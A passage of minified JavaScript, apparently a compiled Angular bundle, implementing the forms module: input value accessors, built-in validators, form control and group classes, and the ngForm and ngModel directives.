I{constructor(T,ue){this._renderer=T,this._elementRef=ue,this.onChange=gt=>{},this.onTouched=()=>{}}setProperty(T,ue){this._renderer.setProperty(this._elementRef.nativeElement,T,ue)}registerOnTouched(T){this.onTouched=T}registerOnChange(T){this.onChange=T}setDisabledState(T){this.setProperty("disabled",T)}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(n.Qsj),n.Y36(n.SBq))},I.\\u0275dir=n.lG2({type:I}),I})(),E=(()=>{class I extends f{}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,features:[n.qOj]}),I})();const _=new n.OlP("NgValueAccessor"),S={provide:_,useExisting:(0,n.Gpc)(()=>g),multi:!0};let g=(()=>{class I extends E{writeValue(T){this.setProperty("checked",T)}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["input","type","checkbox","formControlName",""],["input","type","checkbox","formControl",""],["input","type","checkbox","ngModel",""]],hostBindings:function(T,ue){1&T&&n.NdJ("change",function(Ot){return ue.onChange(Ot.target.checked)})("blur",function(){return ue.onTouched()})},features:[n._Bn([S]),n.qOj]}),I})();const C={provide:_,useExisting:(0,n.Gpc)(()=>j),multi:!0},H=new n.OlP("CompositionEventMode");let j=(()=>{class I extends f{constructor(T,ue,gt){super(T,ue),this._compositionMode=gt,this._composing=!1,null==this._compositionMode&&(this._compositionMode=!function z(){const I=(0,a.q)()?(0,a.q)().getUserAgent():"";return/android (\\d+)/.test(I.toLowerCase())}())}writeValue(T){this.setProperty("value",T??"")}_handleInput(T){(!this._compositionMode||this._compositionMode&&!this._composing)&&this.onChange(T)}_compositionStart(){this._composing=!0}_compositionEnd(T){this._composing=!1,this._compositionMode&&this.onChange(T)}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(n.Qsj),n.Y36(n.SBq),n.Y36(H,8))},I.\\u0275dir=n.lG2({type:I,selectors:[["input","formControlName","",3,"type","checkbox"],["textarea","formControlName",""],["input","formControl","",3,"type","checkbox"],["textarea","formControl",""],["input","ngModel","",3,"type","checkbox"],["textarea","ngModel",""],["","ngDefaultControl",""]],hostBindings:function(T,ue){1&T&&n.NdJ("input",function(Ot){return ue._handleInput(Ot.target.value)})("blur",function(){return ue.onTouched()})("compositionstart",function(){return ue._compositionStart()})("compositionend",function(Ot){return ue._compositionEnd(Ot.target.value)})},features:[n._Bn([C]),n.qOj]}),I})();const U=!1;function G(I){return null==I||("string"==typeof I||Array.isArray(I))&&0===I.length}function Q(I){return null!=I&&"number"==typeof I.length}const oe=new n.OlP("NgValidators"),Ce=new n.OlP("NgAsyncValidators"),k=/^(?=.{1,254}$)(?=.{1,64}@)[a-zA-Z0-9!#$%&\'*+/=?^_`{|}~-]+(?:\\.[a-zA-Z0-9!#$%&\'*+/=?^_`{|}~-]+)*@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;class K{static min(L){return function se(I){return L=>{if(G(L.value)||G(I))return null;const T=parseFloat(L.value);return!isNaN(T)&&T<I?{min:{min:I,actual:L.value}}:null}}(L)}static max(L){return function ee(I){return L=>{if(G(L.value)||G(I))return null;const T=parseFloat(L.value);return!isNaN(T)&&T>I?{max:{max:I,actual:L.value}}:null}}(L)}static required(L){return q(L)}static requiredTrue(L){return we(L)}static email(L){return function ce(I){return G(I.value)||k.test(I.value)?null:{email:!0}}(L)}static minLength(L){return je(L)}static maxLength(L){return Ze(L)}static pattern(L){return le(L)}static nullValidator(L){return null}static compose(L){return ze(L)}static composeAsync(L){return re(L)}}function q(I){return G(I.value)?{required:!0}:null}function we(I){return!0===I.value?null:{required:!0}}function je(I){return L=>G(L.value)||!Q(L.value)?null:L.value.length<I?{minlength:{requiredLength:I,actualLength:L.value.length}}:null}function Ze(I){return L=>Q(L.value)&&L.value.length>I?{maxlength:{requiredLength:I,actualLength:L.value.length}}:null}function le(I){if(!I)return Oe;let L,T;return"string"==typeof I?(T="","^"!==I.charAt(0)&&(T+="^"),T+=I,"$"!==I.charAt(I.length-1)&&(T+="$"),L=new RegExp(T)):(T=I.toString(),L=I),ue=>{if(G(ue.value))return null;const gt=ue.value;return L.test(gt)?null:{pattern:{requiredPattern:T,actualValue:gt}}}}function Oe(I){return null}function Qe(I){return null!=I}function Ye(I){const L=(0,n.QGY)(I)?(0,s.D)(I):I;if(U&&!(0,n.CqO)(L)){let T="Expected async validator to return Promise or Observable.";throw"object"==typeof I&&(T+=" Are you using a synchronous validator where an async validator is expected?"),new n.vHH(-1101,T)}return L}function qe(I){let L={};return I.forEach(T=>{L=null!=T?{...L,...T}:L}),0===Object.keys(L).length?null:L}function Ke(I,L){return L.map(T=>T(I))}function bt(I){return I.map(L=>function dt(I){return!I.validate}(L)?L:T=>L.validate(T))}function ze(I){if(!I)return null;const L=I.filter(Qe);return 0==L.length?null:function(T){return qe(Ke(T,L))}}function De(I){return null!=I?ze(bt(I)):null}function re(I){if(!I)return null;const L=I.filter(Qe);return 0==L.length?null:function(T){const ue=Ke(T,L).map(Ye);return(0,u.D)(ue).pipe((0,c.U)(qe))}}function ve(I){return null!=I?re(bt(I)):null}function We(I,L){return null===I?[L]:Array.isArray(I)?[...I,L]:[I,L]}function xt(I){return I._rawValidators}function Be(I){return I._rawAsyncValidators}function pe(I){return I?Array.isArray(I)?I:[I]:[]}function P(I,L){return Array.isArray(I)?I.includes(L):I===L}function w(I,L){const T=pe(L);return pe(I).forEach(gt=>{P(T,gt)||T.push(gt)}),T}function R(I,L){return pe(L).filter(T=>!P(I,T))}class X{constructor(){this._rawValidators=[],this._rawAsyncValidators=[],this._onDestroyCallbacks=[]}get value(){return this.control?this.control.value:null}get valid(){return this.control?this.control.valid:null}get invalid(){return this.control?this.control.invalid:null}get pending(){return this.control?this.control.pending:null}get disabled(){return this.control?this.control.disabled:null}get enabled(){return this.control?this.control.enabled:null}get errors(){return this.control?this.control.errors:null}get pristine(){return this.control?this.control.pristine:null}get dirty(){return this.control?this.control.dirty:null}get touched(){return this.control?this.control.touched:null}get status(){return this.control?this.control.status:null}get untouched(){return this.control?this.control.untouched:null}get statusChanges(){return this.control?this.control.statusChanges:null}get valueChanges(){return this.control?this.control.valueChanges:null}get path(){return null}_setValidators(L){this._rawValidators=L||[],this._composedValidatorFn=De(this._rawValidators)}_setAsyncValidators(L){this._rawAsyncValidators=L||[],this._composedAsyncValidatorFn=ve(this._rawAsyncValidators)}get validator(){return this._composedValidatorFn||null}get asyncValidator(){return this._composedAsyncValidatorFn||null}_registerOnDestroy(L){this._onDestroyCallbacks.push(L)}_invokeOnDestroyCallbacks(){this._onDestroyCallbacks.forEach(L=>L()),this._onDestroyCallbacks=[]}reset(L){this.control&&this.control.reset(L)}hasError(L,T){return!!this.control&&this.control.hasError(L,T)}getError(L,T){return this.control?this.control.getError(L,T):null}}class _e extends X{get formDirective(){return null}get path(){return null}}class ct extends X{constructor(){super(...arguments),this._parent=null,this.name=null,this.valueAccessor=null}}class Je{constructor(L){this._cd=L}get isTouched(){return!!this._cd?.control?.touched}get isUntouched(){return!!this._cd?.control?.untouched}get isPristine(){return!!this._cd?.control?.pristine}get isDirty(){return!!this._cd?.control?.dirty}get isValid(){return!!this._cd?.control?.valid}get isInvalid(){return!!this._cd?.control?.invalid}get isPending(){return!!this._cd?.control?.pending}get isSubmitted(){return!!this._cd?.submitted}}let Pt=(()=>{class I extends Je{constructor(T){super(T)}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(ct,2))},I.\\u0275dir=n.lG2({type:I,selectors:[["","formControlName",""],["","ngModel",""],["","formControl",""]],hostVars:14,hostBindings:function(T,ue){2&T&&n.ekj("ng-untouched",ue.isUntouched)("ng-touched",ue.isTouched)("ng-pristine",ue.isPristine)("ng-dirty",ue.isDirty)("ng-valid",ue.isValid)("ng-invalid",ue.isInvalid)("ng-pending",ue.isPending)},features:[n.qOj]}),I})(),Ie=(()=>{class I extends Je{constructor(T){super(T)}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(_e,10))},I.\\u0275dir=n.lG2({type:I,selectors:[["","formGroupName",""],["","formArrayName",""],["","ngModelGroup",""],["","formGroup",""],["form",3,"ngNoForm",""],["","ngForm",""]],hostVars:16,hostBindings:function(T,ue){2&T&&n.ekj("ng-untouched",ue.isUntouched)("ng-touched",ue.isTouched)("ng-pristine",ue.isPristine)("ng-dirty",ue.isDirty)("ng-valid",ue.isValid)("ng-invalid",ue.isInvalid)("ng-pending",ue.isPending)("ng-submitted",ue.isSubmitted)},features:[n.qOj]}),I})();function c1(I,L){return I?`with name: \'${L}\'`:`at index: ${L}`}const Fe=!1,be="VALID",Pe="INVALID",Re="PENDING",Ue="DISABLED";function xe(I){return(Ct(I)?I.validators:I)||null}function Ae(I,L){return(Ct(L)?L.asyncValidators:I)||null}function Ct(I){return null!=I&&!Array.isArray(I)&&"object"==typeof I}class nt{constructor(L,T){this._pendingDirty=!1,this._hasOwnPendingAsyncValidator=!1,this._pendingTouched=!1,this._onCollectionChange=()=>{},this._parent=null,this.pristine=!0,this.touched=!1,this._onDisabledChange=[],this._assignValidators(L),this._assignAsyncValidators(T)}get validator(){return this._composedValidatorFn}set validator(L){this._rawValidators=this._composedValidatorFn=L}get asyncValidator(){return this._composedAsyncValidatorFn}set asyncValidator(L){this._rawAsyncValidators=this._composedAsyncValidatorFn=L}get parent(){return this._parent}get valid(){return this.status===be}get invalid(){return this.status===Pe}get pending(){return this.status==Re}get disabled(){return this.status===Ue}get enabled(){return this.status!==Ue}get dirty(){return!this.pristine}get untouched(){return!this.touched}get updateOn(){return this._updateOn?this._updateOn:this.parent?this.parent.updateOn:"change"}setValidators(L){this._assignValidators(L)}setAsyncValidators(L){this._assignAsyncValidators(L)}addValidators(L){this.setValidators(w(L,this._rawValidators))}addAsyncValidators(L){this.setAsyncValidators(w(L,this._rawAsyncValidators))}removeValidators(L){this.setValidators(R(L,this._rawValidators))}removeAsyncValidators(L){this.setAsyncValidators(R(L,this._rawAsyncValidators))}hasValidator(L){return P(this._rawValidators,L)}hasAsyncValidator(L){return P(this._rawAsyncValidators,L)}clearValidators(){this.validator=null}clearAsyncValidators(){this.asyncValidator=null}markAsTouched(L={}){this.touched=!0,this._parent&&!L.onlySelf&&this._parent.markAsTouched(L)}markAllAsTouched(){this.markAsTouched({onlySelf:!0}),this._forEachChild(L=>L.markAllAsTouched())}markAsUntouched(L={}){this.touched=!1,this._pendingTouched=!1,this._forEachChild(T=>{T.markAsUntouched({onlySelf:!0})}),this._parent&&!L.onlySelf&&this._parent._updateTouched(L)}markAsDirty(L={}){this.pristine=!1,this._parent&&!L.onlySelf&&this._parent.markAsDirty(L)}markAsPristine(L={}){this.pristine=!0,this._pendingDirty=!1,this._forEachChild(T=>{T.markAsPristine({onlySelf:!0})}),this._parent&&!L.onlySelf&&this._parent._updatePristine(L)}markAsPending(L={}){this.status=Re,!1!==L.emitEvent&&this.statusChanges.emit(this.status),this._parent&&!L.onlySelf&&this._parent.markAsPending(L)}disable(L={}){const T=this._parentMarkedDirty(L.onlySelf);this.status=Ue,this.errors=null,this._forEachChild(ue=>{ue.disable({...L,onlySelf:!0})}),this._updateValue(),!1!==L.emitEvent&&(this.valueChanges.emit(this.value),this.statusChanges.emit(this.status)),this._updateAncestors({...L,skipPristineCheck:T}),this._onDisabledChange.forEach(ue=>ue(!0))}enable(L={}){const T=this._parentMarkedDirty(L.onlySelf);this.status=be,this._forEachChild(ue=>{ue.enable({...L,onlySelf:!0})}),this.updateValueAndValidity({onlySelf:!0,emitEvent:L.emitEvent}),this._updateAncestors({...L,skipPristineCheck:T}),this._onDisabledChange.forEach(ue=>ue(!1))}_updateAncestors(L){this._parent&&!L.onlySelf&&(this._parent.updateValueAndValidity(L),L.skipPristineCheck||this._parent._updatePristine(),this._parent._updateTouched())}setParent(L){this._parent=L}getRawValue(){return this.value}updateValueAndValidity(L={}){this._setInitialStatus(),this._updateValue(),this.enabled&&(this._cancelExistingSubscription(),this.errors=this._runValidator(),this.status=this._calculateStatus(),(this.status===be||this.status===Re)&&this._runAsyncValidator(L.emitEvent)),!1!==L.emitEvent&&(this.valueChanges.emit(this.value),this.statusChanges.emit(this.status)),this._parent&&!L.onlySelf&&this._parent.updateValueAndValidity(L)}_updateTreeValidity(L={emitEvent:!0}){this._forEachChild(T=>T._updateTreeValidity(L)),this.updateValueAndValidity({onlySelf:!0,emitEvent:L.emitEvent})}_setInitialStatus(){this.status=this._allControlsDisabled()?Ue:be}_runValidator(){return this.validator?this.validator(this):null}_runAsyncValidator(L){if(this.asyncValidator){this.status=Re,this._hasOwnPendingAsyncValidator=!0;const T=Ye(this.asyncValidator(this));this._asyncValidationSubscription=T.subscribe(ue=>{this._hasOwnPendingAsyncValidator=!1,this.setErrors(ue,{emitEvent:L})})}}_cancelExistingSubscription(){this._asyncValidationSubscription&&(this._asyncValidationSubscription.unsubscribe(),this._hasOwnPendingAsyncValidator=!1)}setErrors(L,T={}){this.errors=L,this._updateControlsErrors(!1!==T.emitEvent)}get(L){let T=L;return null==T||(Array.isArray(T)||(T=T.split(".")),0===T.length)?null:T.reduce((ue,gt)=>ue&&ue._find(gt),this)}getError(L,T){const ue=T?this.get(T):this;return ue&&ue.errors?ue.errors[L]:null}hasError(L,T){return!!this.getError(L,T)}get root(){let L=this;for(;L._parent;)L=L._parent;return L}_updateControlsErrors(L){this.status=this._calculateStatus(),L&&this.statusChanges.emit(this.status),this._parent&&this._parent._updateControlsErrors(L)}_initObservables(){this.valueChanges=new n.vpe,this.statusChanges=new n.vpe}_calculateStatus(){return this._allControlsDisabled()?Ue:this.errors?Pe:this._hasOwnPendingAsyncValidator||this._anyControlsHaveStatus(Re)?Re:this._anyControlsHaveStatus(Pe)?Pe:be}_anyControlsHaveStatus(L){return this._anyControls(T=>T.status===L)}_anyControlsDirty(){return this._anyControls(L=>L.dirty)}_anyControlsTouched(){return this._anyControls(L=>L.touched)}_updatePristine(L={}){this.pristine=!this._anyControlsDirty(),this._parent&&!L.onlySelf&&this._parent._updatePristine(L)}_updateTouched(L={}){this.touched=this._anyControlsTouched(),this._parent&&!L.onlySelf&&this._parent._updateTouched(L)}_registerOnCollectionChange(L){this._onCollectionChange=L}_setUpdateStrategy(L){Ct(L)&&null!=L.updateOn&&(this._updateOn=L.updateOn)}_parentMarkedDirty(L){return!L&&!(!this._parent||!this._parent.dirty)&&!this._parent._anyControlsDirty()}_find(L){return null}_assignValidators(L){this._rawValidators=Array.isArray(L)?L.slice():L,this._composedValidatorFn=function J(I){return Array.isArray(I)?De(I):I||null}(this._rawValidators)}_assignAsyncValidators(L){this._rawAsyncValidators=Array.isArray(L)?L.slice():L,this._composedAsyncValidatorFn=function mt(I){return Array.isArray(I)?ve(I):I||null}(this._rawAsyncValidators)}}class fe extends nt{constructor(L,T,ue){super(xe(T),Ae(ue,T)),this.controls=L,this._initObservables(),this._setUpdateStrategy(T),this._setUpControls(),this.updateValueAndValidity({onlySelf:!0,emitEvent:!!this.asyncValidator})}registerControl(L,T){return this.controls[L]?this.controls[L]:(this.controls[L]=T,T.setParent(this),T._registerOnCollectionChange(this._onCollectionChange),T)}addControl(L,T,ue={}){this.registerControl(L,T),this.updateValueAndValidity({emitEvent:ue.emitEvent}),this._onCollectionChange()}removeControl(L,T={}){this.controls[L]&&this.controls[L]._registerOnCollectionChange(()=>{}),delete this.controls[L],this.updateValueAndValidity({emitEvent:T.emitEvent}),this._onCollectionChange()}setControl(L,T,ue={}){this.controls[L]&&this.controls[L]._registerOnCollectionChange(()=>{}),delete this.controls[L],T&&this.registerControl(L,T),this.updateValueAndValidity({emitEvent:ue.emitEvent}),this._onCollectionChange()}contains(L){return this.controls.hasOwnProperty(L)&&this.controls[L].enabled}setValue(L,T={}){(function pt(I,L,T){I._forEachChild((ue,gt)=>{if(void 0===T[gt])throw new n.vHH(1002,Fe?function kt(I,L){return`Must supply a value for form control ${c1(I,L)}`}(L,gt):"")})})(this,!0,L),Object.keys(L).forEach(ue=>{(function jt(I,L,T){const ue=I.controls;if(!(L?Object.keys(ue):ue).length)throw new n.vHH(1e3,Fe?function It(I){return`\\n There are no form controls registered with this ${I?"group":"array"} yet. If you\'re using ngModel,\\n you may want to check next tick (e.g. use setTimeout).\\n `}(L):"");if(!ue[T])throw new n.vHH(1001,Fe?function _t(I,L){return`Cannot find form control ${c1(I,L)}`}(L,T):"")})(this,!0,ue),this.controls[ue].setValue(L[ue],{onlySelf:!0,emitEvent:T.emitEvent})}),this.updateValueAndValidity(T)}patchValue(L,T={}){null!=L&&(Object.keys(L).forEach(ue=>{const gt=this.controls[ue];gt&>.patchValue(L[ue],{onlySelf:!0,emitEvent:T.emitEvent})}),this.updateValueAndValidity(T))}reset(L={},T={}){this._forEachChild((ue,gt)=>{ue.reset(L[gt],{onlySelf:!0,emitEvent:T.emitEvent})}),this._updatePristine(T),this._updateTouched(T),this.updateValueAndValidity(T)}getRawValue(){return this._reduceChildren({},(L,T,ue)=>(L[ue]=T.getRawValue(),L))}_syncPendingControls(){let L=this._reduceChildren(!1,(T,ue)=>!!ue._syncPendingControls()||T);return L&&this.updateValueAndValidity({onlySelf:!0}),L}_forEachChild(L){Object.keys(this.controls).forEach(T=>{const ue=this.controls[T];ue&&L(ue,T)})}_setUpControls(){this._forEachChild(L=>{L.setParent(this),L._registerOnCollectionChange(this._onCollectionChange)})}_updateValue(){this.value=this._reduceValue()}_anyControls(L){for(const[T,ue]of Object.entries(this.controls))if(this.contains(T)&&L(ue))return!0;return!1}_reduceValue(){return this._reduceChildren({},(T,ue,gt)=>((ue.enabled||this.disabled)&&(T[gt]=ue.value),T))}_reduceChildren(L,T){let ue=L;return this._forEachChild((gt,Ot)=>{ue=T(ue,gt,Ot)}),ue}_allControlsDisabled(){for(const L of Object.keys(this.controls))if(this.controls[L].enabled)return!1;return Object.keys(this.controls).length>0||this.disabled}_find(L){return this.controls.hasOwnProperty(L)?this.controls[L]:null}}const Ee=fe,Ne=new n.OlP("CallSetDisabledState",{providedIn:"root",factory:()=>ut}),ut="always";function Rt(I,L){return[...L.path,I]}function Zt(I,L,T=ut){gn(I,L),L.valueAccessor.writeValue(I.value),(I.disabled||"always"===T)&&L.valueAccessor.setDisabledState?.(I.disabled),function P1(I,L){L.valueAccessor.registerOnChange(T=>{I._pendingValue=T,I._pendingChange=!0,I._pendingDirty=!0,"change"===I.updateOn&&Ge(I,L)})}(I,L),function vt(I,L){const T=(ue,gt)=>{L.valueAccessor.writeValue(ue),gt&&L.viewToModelUpdate(ue)};I.registerOnChange(T),L._registerOnDestroy(()=>{I._unregisterOnChange(T)})}(I,L),function on(I,L){L.valueAccessor.registerOnTouched(()=>{I._pendingTouched=!0,"blur"===I.updateOn&&I._pendingChange&&Ge(I,L),"submit"!==I.updateOn&&I.markAsTouched()})}(I,L),function G1(I,L){if(L.valueAccessor.setDisabledState){const T=ue=>{L.valueAccessor.setDisabledState(ue)};I.registerOnDisabledChange(T),L._registerOnDestroy(()=>{I._unregisterOnDisabledChange(T)})}}(I,L)}function a1(I,L,T=!0){const ue=()=>{};L.valueAccessor&&(L.valueAccessor.registerOnChange(ue),L.valueAccessor.registerOnTouched(ue)),nn(I,L),I&&(L._invokeOnDestroyCallbacks(),I._registerOnCollectionChange(()=>{}))}function _1(I,L){I.forEach(T=>{T.registerOnValidatorChange&&T.registerOnValidatorChange(L)})}function gn(I,L){const T=xt(I);null!==L.validator?I.setValidators(We(T,L.validator)):"function"==typeof T&&I.setValidators([T]);const ue=Be(I);null!==L.asyncValidator?I.setAsyncValidators(We(ue,L.asyncValidator)):"function"==typeof ue&&I.setAsyncValidators([ue]);const gt=()=>I.updateValueAndValidity();_1(L._rawValidators,gt),_1(L._rawAsyncValidators,gt)}function nn(I,L){let T=!1;if(null!==I){if(null!==L.validator){const gt=xt(I);if(Array.isArray(gt)&>.length>0){const Ot=gt.filter(Jt=>Jt!==L.validator);Ot.length!==gt.length&&(T=!0,I.setValidators(Ot))}}if(null!==L.asyncValidator){const gt=Be(I);if(Array.isArray(gt)&>.length>0){const Ot=gt.filter(Jt=>Jt!==L.asyncValidator);Ot.length!==gt.length&&(T=!0,I.setAsyncValidators(Ot))}}}const ue=()=>{};return _1(L._rawValidators,ue),_1(L._rawAsyncValidators,ue),T}function Ge(I,L){I._pendingDirty&&I.markAsDirty(),I.setValue(I._pendingValue,{emitModelToViewChange:!1}),L.viewToModelUpdate(I._pendingValue),I._pendingChange=!1}function Me(I,L){gn(I,L)}function Wt(I,L){if(!I.hasOwnProperty("model"))return!1;const T=I.model;return!!T.isFirstChange()||!Object.is(L,T.currentValue)}function w1(I,L){I._syncPendingControls(),L.forEach(T=>{const ue=T.control;"submit"===ue.updateOn&&ue._pendingChange&&(T.viewToModelUpdate(ue._pendingValue),ue._pendingChange=!1)})}function Qt(I,L){if(!L)return null;let T,ue,gt;return Array.isArray(L),L.forEach(Ot=>{Ot.constructor===j?T=Ot:function p1(I){return Object.getPrototypeOf(I.constructor)===E}(Ot)?ue=Ot:gt=Ot}),gt||ue||T||null}const Y1={provide:_e,useExisting:(0,n.Gpc)(()=>V1)},T1=(()=>Promise.resolve())();let V1=(()=>{class I extends _e{constructor(T,ue,gt){super(),this.callSetDisabledState=gt,this.submitted=!1,this._directives=new Set,this.ngSubmit=new n.vpe,this.form=new fe({},De(T),ve(ue))}ngAfterViewInit(){this._setUpdateStrategy()}get formDirective(){return this}get control(){return this.form}get path(){return[]}get controls(){return this.form.controls}addControl(T){T1.then(()=>{const ue=this._findContainer(T.path);T.control=ue.registerControl(T.name,T.control),Zt(T.control,T,this.callSetDisabledState),T.control.updateValueAndValidity({emitEvent:!1}),this._directives.add(T)})}getControl(T){return this.form.get(T.path)}removeControl(T){T1.then(()=>{const ue=this._findContainer(T.path);ue&&ue.removeControl(T.name),this._directives.delete(T)})}addFormGroup(T){T1.then(()=>{const ue=this._findContainer(T.path),gt=new fe({});Me(gt,T),ue.registerControl(T.name,gt),gt.updateValueAndValidity({emitEvent:!1})})}removeFormGroup(T){T1.then(()=>{const ue=this._findContainer(T.path);ue&&ue.removeControl(T.name)})}getFormGroup(T){return this.form.get(T.path)}updateModel(T,ue){T1.then(()=>{this.form.get(T.path).setValue(ue)})}setValue(T){this.control.setValue(T)}onSubmit(T){return this.submitted=!0,w1(this.form,this._directives),this.ngSubmit.emit(T),"dialog"===T?.target?.method}onReset(){this.resetForm()}resetForm(T){this.form.reset(T),this.submitted=!1}_setUpdateStrategy(){this.options&&null!=this.options.updateOn&&(this.form._updateOn=this.options.updateOn)}_findContainer(T){return T.pop(),T.length?this.form.get(T):this.form}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(oe,10),n.Y36(Ce,10),n.Y36(Ne,8))},I.\\u0275dir=n.lG2({type:I,selectors:[["form",3,"ngNoForm","",3,"formGroup",""],["ng-form"],["","ngForm",""]],hostBindings:function(T,ue){1&T&&n.NdJ("submit",function(Ot){return ue.onSubmit(Ot)})("reset",function(){return ue.onReset()})},inputs:{options:["ngFormOptions","options"]},outputs:{ngSubmit:"ngSubmit"},exportAs:["ngForm"],features:[n._Bn([Y1]),n.qOj]}),I})();function vn(I,L){const T=I.indexOf(L);T>-1&&I.splice(T,1)}function E1(I){return"object"==typeof I&&null!==I&&2===Object.keys(I).length&&"value"in I&&"disabled"in I}const In=class extends nt{constructor(L=null,T,ue){super(xe(T),Ae(ue,T)),this.defaultValue=null,this._onChange=[],this._pendingChange=!1,this._applyFormState(L),this._setUpdateStrategy(T),this._initObservables(),this.updateValueAndValidity({onlySelf:!0,emitEvent:!!this.asyncValidator}),Ct(T)&&(T.nonNullable||T.initialValueIsDefault)&&(this.defaultValue=E1(L)?L.value:L)}setValue(L,T={}){this.value=this._pendingValue=L,this._onChange.length&&!1!==T.emitModelToViewChange&&this._onChange.forEach(ue=>ue(this.value,!1!==T.emitViewToModelChange)),this.updateValueAndValidity(T)}patchValue(L,T={}){this.setValue(L,T)}reset(L=this.defaultValue,T={}){this._applyFormState(L),this.markAsPristine(T),this.markAsUntouched(T),this.setValue(this.value,T),this._pendingChange=!1}_updateValue(){}_anyControls(L){return!1}_allControlsDisabled(){return this.disabled}registerOnChange(L){this._onChange.push(L)}_unregisterOnChange(L){vn(this._onChange,L)}registerOnDisabledChange(L){this._onDisabledChange.push(L)}_unregisterOnDisabledChange(L){vn(this._onDisabledChange,L)}_forEachChild(L){}_syncPendingControls(){return!("submit"!==this.updateOn||(this._pendingDirty&&this.markAsDirty(),this._pendingTouched&&this.markAsTouched(),!this._pendingChange)||(this.setValue(this._pendingValue,{onlySelf:!0,emitModelToViewChange:!1}),0))}_applyFormState(L){E1(L)?(this.value=this._pendingValue=L.value,L.disabled?this.disable({onlySelf:!0,emitEvent:!1}):this.enable({onlySelf:!0,emitEvent:!1})):this.value=this._pendingValue=L}},Gn=In,An={provide:ct,useExisting:(0,n.Gpc)(()=>li)},$n=(()=>Promise.resolve())();let li=(()=>{class I extends ct{constructor(T,ue,gt,Ot,Jt,Tt){super(),this._changeDetectorRef=Jt,this.callSetDisabledState=Tt,this.control=new In,this._registered=!1,this.update=new n.vpe,this._parent=T,this._setValidators(ue),this._setAsyncValidators(gt),this.valueAccessor=Qt(0,Ot)}ngOnChanges(T){if(this._checkForErrors(),!this._registered||"name"in T){if(this._registered&&(this._checkName(),this.formDirective)){const ue=T.name.previousValue;this.formDirective.removeControl({name:ue,path:this._getPath(ue)})}this._setUpControl()}"isDisabled"in T&&this._updateDisabled(T),Wt(T,this.viewModel)&&(this._updateValue(this.model),this.viewModel=this.model)}ngOnDestroy(){this.formDirective&&this.formDirective.removeControl(this)}get path(){return this._getPath(this.name)}get formDirective(){return this._parent?this._parent.formDirective:null}viewToModelUpdate(T){this.viewModel=T,this.update.emit(T)}_setUpControl(){this._setUpdateStrategy(),this._isStandalone()?this._setUpStandalone():this.formDirective.addControl(this),this._registered=!0}_setUpdateStrategy(){this.options&&null!=this.options.updateOn&&(this.control._updateOn=this.options.updateOn)}_isStandalone(){return!this._parent||!(!this.options||!this.options.standalone)}_setUpStandalone(){Zt(this.control,this,this.callSetDisabledState),this.control.updateValueAndValidity({emitEvent:!1})}_checkForErrors(){this._isStandalone()||this._checkParentType(),this._checkName()}_checkParentType(){}_checkName(){this.options&&this.options.name&&(this.name=this.options.name),this._isStandalone()}_updateValue(T){$n.then(()=>{this.control.setValue(T,{emitViewToModelChange:!1}),this._changeDetectorRef?.markForCheck()})}_updateDisabled(T){const ue=T.isDisabled.currentValue,gt=0!==ue&&(0,n.D6c)(ue);$n.then(()=>{gt&&!this.control.disabled?this.control.disable():!gt&&this.control.disabled&&this.control.enable(),this._changeDetectorRef?.markForCheck()})}_getPath(T){return this._parent?Rt(T,this._parent):[T]}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(_e,9),n.Y36(oe,10),n.Y36(Ce,10),n.Y36(_,10),n.Y36(n.sBO,8),n.Y36(Ne,8))},I.\\u0275dir=n.lG2({type:I,selectors:[["","ngModel","",3,"formControlName","",3,"formControl",""]],inputs:{name:"name",isDisabled:["disabled","isDisabled"],model:["ngModel","model"],options:["ngModelOptions","options"]},outputs:{update:"ngModelChange"},exportAs:["ngModel"],features:[n._Bn([An]),n.qOj,n.TTD]}),I})(),L1=(()=>{class I{}return I.\\u0275fac=function(T){return new(T||I)},I.\\u0275dir=n.lG2({type:I,selectors:[["form",3,"ngNoForm","",3,"ngNativeValidate",""]],hostAttrs:["novalidate",""]}),I})();const Cn={provide:_,useExisting:(0,n.Gpc)(()=>Mn),multi:!0};let Mn=(()=>{class I extends E{writeValue(T){this.setProperty("value",T??"")}registerOnChange(T){this.onChange=ue=>{T(""==ue?null:parseFloat(ue))}}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["input","type","number","formControlName",""],["input","type","number","formControl",""],["input","type","number","ngModel",""]],hostBindings:function(T,ue){1&T&&n.NdJ("input",function(Ot){return ue.onChange(Ot.target.value)})("blur",function(){return ue.onTouched()})},features:[n._Bn([Cn]),n.qOj]}),I})(),_i=(()=>{class I{}return I.\\u0275fac=function(T){return new(T||I)},I.\\u0275mod=n.oAB({type:I}),I.\\u0275inj=n.cJS({}),I})();const Sn=new n.OlP("NgModelWithFormControlWarning"),Ei={provide:ct,useExisting:(0,n.Gpc)(()=>Hn)};let Hn=(()=>{class I extends ct{set isDisabled(T){}constructor(T,ue,gt,Ot,Jt){super(),this._ngModelWarningConfig=Ot,this.callSetDisabledState=Jt,this.update=new n.vpe,this._ngModelWarningSent=!1,this._setValidators(T),this._setAsyncValidators(ue),this.valueAccessor=Qt(0,gt)}ngOnChanges(T){if(this._isControlChanged(T)){const ue=T.form.previousValue;ue&&a1(ue,this,!1),Zt(this.form,this,this.callSetDisabledState),this.form.updateValueAndValidity({emitEvent:!1})}Wt(T,this.viewModel)&&(this.form.setValue(this.model),this.viewModel=this.model)}ngOnDestroy(){this.form&&a1(this.form,this,!1)}get path(){return[]}get control(){return this.form}viewToModelUpdate(T){this.viewModel=T,this.update.emit(T)}_isControlChanged(T){return T.hasOwnProperty("form")}}return I._ngModelWarningSentOnce=!1,I.\\u0275fac=function(T){return 